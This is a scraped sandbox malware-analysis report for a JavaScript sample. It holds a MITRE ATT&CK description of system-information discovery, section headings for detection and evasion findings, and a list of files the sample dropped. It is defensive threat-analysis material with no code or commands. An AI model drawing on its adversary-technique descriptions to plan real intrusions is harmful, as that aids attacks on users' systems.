Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2612377921588116147.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d9c98e37-32d9-4726-97dc-055395045ef0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7724

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7724

Windows Analysis Report
2612377921588116147.js